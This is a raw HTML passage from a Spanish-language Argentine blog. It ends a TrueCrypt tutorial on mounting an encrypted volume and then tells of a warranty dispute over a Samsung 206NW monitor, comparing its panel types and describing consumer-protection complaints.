src="http://2.bp.blogspot.com/_rgCsrVyHiHw/SOUio023YnI/AAAAAAAAAG0/7YsXCcpLmSw/s320/07.JPG" alt="" id="BLOGGER_PHOTO_ID_5252642625176429170" border="0" /></a> <br /></div> <br /><div style="text-align: justify;">después c formatea el archivo en el sistema q le digamos, pide mover el mouse para recolectar info aleatoria y ya tememos listo el archivo. <br /> <br />Para abrirlo desde la ventana principal de truecrypt seleccionamos 1 letra d unidad, clickeamos en “select file” y elegimos el archivo encriptado: <br /></div> <br /><div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_rgCsrVyHiHw/SOUjEnHDYmI/AAAAAAAAAG8/5R7vPKntH84/s1600-h/08.JPG"><img style="cursor: pointer;" src="http://1.bp.blogspot.com/_rgCsrVyHiHw/SOUjEnHDYmI/AAAAAAAAAG8/5R7vPKntH84/s320/08.JPG" alt="" id="BLOGGER_PHOTO_ID_5252643102522565218" border="0" /></a> <br /></div> <br /><div style="text-align: justify;">haciendo click en “mount” c abre el cuadro q nos pide el pass correspodiente y al introducirlo ya tenemos el volumen encriptado montado en la letra d unidad q elegimos. <br /></div> <br />Con esto sus datos ya deberían estar a salvo... ;) <br /> <br /> <br /><p class="MsoBodyText2"><meta equiv="Content-Type" content="text/html; charset=utf-8"><meta name="ProgId" content="Word.Document"><meta name="Generator" content="Microsoft Word 9"><meta name="Originator" content="Microsoft Word 9"><link rel="File-List" href="file:///C:/DOCUME%7E1/tecnico3/CONFIG%7E1/Temp/msoclip1/01/clip_filelist.xml"><!--[if gte mso 9]><xml> <w:worddocument> <w:view>Normal</w:View> <w:zoom>0</w:Zoom> <w:hyphenationzone>21</w:HyphenationZone> <w:donotoptimizeforbrowser/> </w:WordDocument> </xml><![endif]--><style> <!-- /* Font Definitions */ @font-face {font-family:Wingdings; panose-1:5 0 0 0 0 0 0 0 0 0; mso-font-charset:2; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:0 268435456 0 0 -2147483648 0;} @font-face {font-family:"Arial Unicode MS"; panose-1:2 11 6 4 2 2 2 2 2 4; mso-font-charset:128; mso-generic-font-family:swiss; mso-font-pitch:variable; mso-font-signature:-1 -369098753 63 0 4129023 0;} @font-face {font-family:"\@Arial Unicode MS"; panose-1:2 11 6 4 2 2 2 2 2 4; mso-font-charset:128; mso-generic-font-family:swiss; mso-font-pitch:variable; mso-font-signature:-1 -369098753 63 0 4129023 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-parent:""; margin:0cm; margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:"Times New Roman"; mso-fareast-font-family:"Times New Roman";} p.MsoBodyText, li.MsoBodyText, div.MsoBodyText {margin:0cm; margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:"Times New Roman"; mso-fareast-font-family:"Times New Roman"; font-style:italic;} p.MsoBodyText2, li.MsoBodyText2, div.MsoBodyText2 {margin:0cm; margin-bottom:.0001pt; text-align:justify; mso-pagination:widow-orphan; font-size:12.0pt; font-family:"Times New Roman"; mso-fareast-font-family:"Times New Roman";} a:link, span.MsoHyperlink {color:blue; text-decoration:underline; text-underline:single;} a:visited, span.MsoHyperlinkFollowed {color:purple; text-decoration:underline; text-underline:single;} p {margin-right:0cm; mso-margin-top-alt:auto; mso-margin-bottom-alt:auto; margin-left:0cm; mso-pagination:widow-orphan; font-size:12.0pt; font-family:"Arial Unicode MS";} @page Section1 {size:612.0pt 792.0pt; margin:70.85pt 3.0cm 70.85pt 3.0cm; mso-header-margin:36.0pt; mso-footer-margin:36.0pt; mso-paper-source:0;} div.Section1 {page:Section1;} /* List Definitions */ @list l0 {mso-list-id:931743380; mso-list-type:hybrid; mso-list-template-ids:1255956752 201981953 201981955 201981957 201981953 201981955 201981957 201981953 201981955 201981957;} @list l0:level1 {mso-level-start-at:0; mso-level-number-format:bullet; mso-level-text:; mso-level-tab-stop:36.0pt; mso-level-number-position:left; text-indent:-18.0pt; font-family:Symbol; mso-fareast-font-family:"Times New Roman"; mso-bidi-font-family:"Times New Roman";} ol {margin-bottom:0cm;} ul {margin-bottom:0cm;} --> </style> </p><span style=""></span><p></p> <div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3031385326498684086-5099205857197790760?l=locvtvs.blogspot.com' alt='' /></div>|_ocutushttp://www.blogger.com/profile/02250837178980619341noreply@blogger.com2tag:blogger.com,1999:blog-3031385326498684086.post-29188009481467831982008-09-23T12:41:00.013-03:002008-09-24T10:03:45.970-03:00Argentina... pais donde como dice el tango "el q no llora no mama"... xD<br /><div style="text-align: justify;"><br />es increible q la gente tenga q protestar hasta el cansancio para obtener lo q le corresponde. xq si yo compro algo o pago 1 servicio tengo q terminar mandando cartas documento, poniendo abogados, perdiendo tiempo y todas esas cosas?? obvio... xq estoy en argentina es la respuesta.<br /><br />esta entrada va para los q tuvieron algun problema con algo q compraron o con algun servicio y el vendedor o la empresa responsable no c hace cargo d su problema. a ver si les puedo ayudar a saber donde ir a quejarse y obtener lo q les corresponde... je<br /><br />CNDC? CNC? la CNDC es la Comision Nacional de Defensa del Consumidor y la CNC es la Comision Nacional de Comunicaciones. son los 2 lugares a los q fui con mis problemas d estos ultimos meses y en ambos obtuve muy buenos resultados ademas d rapidos.<br /><br />mi problema con Samsung empieza alrededor de julio del año pasado cuando compre 1 moni 206nw y me entere despues q los sres d samsung tercerizaban los paneles d<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_rgCsrVyHiHw/SNo3tszA25I/AAAAAAAAAFc/KnqcRonDPbY/s1600-h/samsung.JPG"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 320px; height: 237px;" src="http://3.bp.blogspot.com/_rgCsrVyHiHw/SNo3tszA25I/AAAAAAAAAFc/KnqcRonDPbY/s320/samsung.JPG" alt="" id="BLOGGER_PHOTO_ID_5249569573912501138" border="0" /></a> los mismos. o sea... ellos ponen la marca y 1 taiwanes en el fondo d la casa hace los paneles q es lo principal. 3 tipos d paneles distintos y solo 1 d ellos samsung. para reconocerlos c puede ver la etiqueta q tienen en la parte posterior donde sale el modelo (206 o 226) seguido d 1 letra. la letra es el tipo d panel q puede variar entre S (samsung), A (AU - Optronics) o C (CMO - Panel CPT). aca pueden ver las diferencias sacadas d 1 nota d maximotec:<br /><br /><br /></div><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_rgCsrVyHiHw/SNo3tszA25I/AAAAAAAAAFc/KnqcRonDPbY/s1600-h/samsung.JPG"></a><div style="text-align: justify;"><b style="font-style: italic; color: rgb(255, 255, 153);">¿Cuál es la diferencia entre los distintos paneles?</b><br /><br /><br /><b style="font-style: italic;"><span style="color: rgb(255, 255, 153);">"S" - Samsung - Panel AMLCD:</span> </b><span style="font-style: italic;"> corresponde al panel LTM220M1 de Samsung. Es el panel original con el cual fue lanzado el producto, y para el cual fueron reali</span><span style="font-style: italic;">zadas casi la totalidad de las Reviews que es encuentran en Internet. Sin dudas lo que hay que buscar si lo que querés es un monitor para uso semi-profesional.</span></div><ul style="font-style: italic; text-align: justify;"><li> Colores: excelentes, precalibrado de fábrica.</li><li> Contraste real: excelente, cercano al 950:1.</li><li> Uniformidad de brillo: muy buena.</li><li> Tiempo de reacción: muy buenos, 2ms con el uso de overdrive.</li></ul><div style="text-align: justify;"><br /><b style="font-style: italic; color: rgb(255, 255, 153);">"A" - AU Optronics - Panel AU:</b><span style="font-style: italic;"> Este panel es de buena calidad, aunque inferior al original de Samsung.</span></div><ul style="font-style: italic; text-align: justify;"><li> Colores: buenos, pero con una marcada tonalidad azul. Necesita ser calibrado si se lo va a emplear para uso profesional (*).</li><li> Contraste real: muy bueno, cercano al 840:1.</li><li> Uniformidad de brillo: muy buena, menor al panel S, pero de diferencia despreciable.</li><li> Tiempo de reacción: muy buenos, 2ms con el uso de overdrive.</li></ul><div style="text-align: justify;"><span style="font-style: italic;">(*) la gente de BeHardware.com amablemente ha cedido un perfil de calibración para este modelo, para ayudar a que los usuarios que se hayan llevado un "chasco" con respecto a la reproducción de colores puedan al menos aspirar a una mejora. El perfil puede descargarse </span><a style="font-style: italic;" href="http://www.lesnumeriques.com/images/1/news/2007/04/Samsung%20SyncMaster%20226BW%20A%20Internet.icm" target="_blank">aquí</a><span style="font-style: italic;">.</span><br /><br /><br /><b style="font-style: italic;"><span style="color: rgb(255, 255, 153);">"C" - CMO - Panel CPT:</span> </b><span style="font-style: italic;">Sin dudas el panel de menor calidad y por mucho. Recomiendo NO adquirir ningún aparato que venga con este panel a menos que no pueda evitarse.</span></div><ul style="font-style: italic; text-align: justify;"><li> Colores: regulares, marcada tonalidad azul. Aparentemente no puede ser calibrado satisfactoriamente!</li><li> Contraste real: bueno, cercano al 750:1</li><li> Uniformidad de brillo: regular, marcado backlight bleeding.</li><li> Tiempo de reacción: muy buenos, 2ms, pero el uso del overdrive degrada visiblemente la calidad de la imagen.</li></ul><b><br /></b><div style="text-align: justify;">el mio fue 1 A. la verdad q c veia con 1 tono azulado si uno c pone exigente pero con la correccion del perfil mejoraba bastante y no tuve demasiadas quejas... hasta q c rompio... xD<br /><br />toda la historia fue publicada en foro.el-hacker.com empezando en abril d este<span style="font-weight: bold;"><span style="font-weight: bold;"> </span></span>año. dejo 1 extracto d lo q iba pasando:<br /></div><br /><hr /><div style="text-align: justify;"><span style="font-size:85%;">hace unos 8 meses compre 1 lcd samsung 206nw. ya arranque con problemas desde la compra x 1 problema d q los paneles no todos eran samsung sino q habia d 3 tipos distintos, 1 d los cuales es 1 verdadera porqueria. x si no lo sabian samsung terceriza la fabricacion d paneles a china (- costo - calidad)... no todo pero gran parte d su produccion.<br /><br />... dicen q ya no lo hacen + pero yo no me fiaria...<br /><br />hace 1 mes despues d 2 o 3 hs d uso (nada fuera d lo normal) c puso 1 seg el panel en blanco y despues perdio imagen como si c apagara. la verdad en los segs q pasan hasta q 1 reacciona pense en la pc, en la placa d video, en la conexion, el algo del so... pero lo ultimo era el monitor casi nuevo... bue... obviamente era el moni... je<br /><br />me lo cargo en su caja original con todos sus componentes, boleta d compra, etc. y me lo llevo al trabajo pensando q lo llevo a algun service a 2 cuadras y me lo arregla en 3 dias... bah... como deberia ser ;)<br /><br />empieza la odisea... llamo al 0800 d samsung, despues d esperar 1 rato me atiende alguien con 1 acento q parece no c... d angola... asi q seguramente ni puta idea y me va a decir lo q le diga el soft q este usando... ok... me empieza a nombrar posibles services (como q habia 200 +o- solo en capfed) hasta q llegamos a 2 q los tenia cerca. le pido datos... muchas gracias y me voy feliz a llevarlo.<br /><br />15 cuadras... llego, espero, cuando le muestro el moni y le digo q es x 1 gtia me dice:<br /><br />- nooooooooooo... nosotros no agarramos garantias. t mandaron del 0800 seguro!! je... no tienen idea d nada. mira, el unico q arregla en cap es tal y tal (q queda en la otra punta del mapa).<br /><br />- mmmm... gracias<br /><br />no me doy x vencido y empiezo a llamar a todos los q tengo cerca. todos lo mismo... "el unico q arregla es CES" q esta en saavedra... :P<br /><br />para q c den 1 idea:<br /><br /></span></div><div style="text-align: center;"><span style="font-size:85%;"><img src="http://img142.imageshack.us/img142/6678/mapalo0.jpg" alt="" border="0" /></span><br /></div><div style="text-align: justify;